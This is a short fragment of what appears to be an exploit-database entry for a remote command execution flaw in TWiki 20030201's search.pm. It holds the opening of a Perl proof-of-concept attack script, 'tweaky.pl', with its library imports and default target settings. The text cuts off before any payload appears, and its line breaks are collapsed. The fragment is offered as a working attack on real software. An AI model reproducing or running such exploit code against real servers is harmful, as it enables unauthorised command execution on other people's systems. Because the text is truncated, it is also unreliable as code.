TWiki 20030201 - 'search.pm' Remote Command Execution

!/usr/bin/perl "tweaky.pl" v. 1.0 beta 2 Proof of concept for TWiki vulnerability. Remote code execution Vuln discovered, researched and exploited by RoMaNSoFt Madrid, 30.Sep.2004. require LWP::UserAgent; use Getopt::Long; Default config $host = ''; $path = '/cgi-bin/twiki/search/Main/'; $secure ...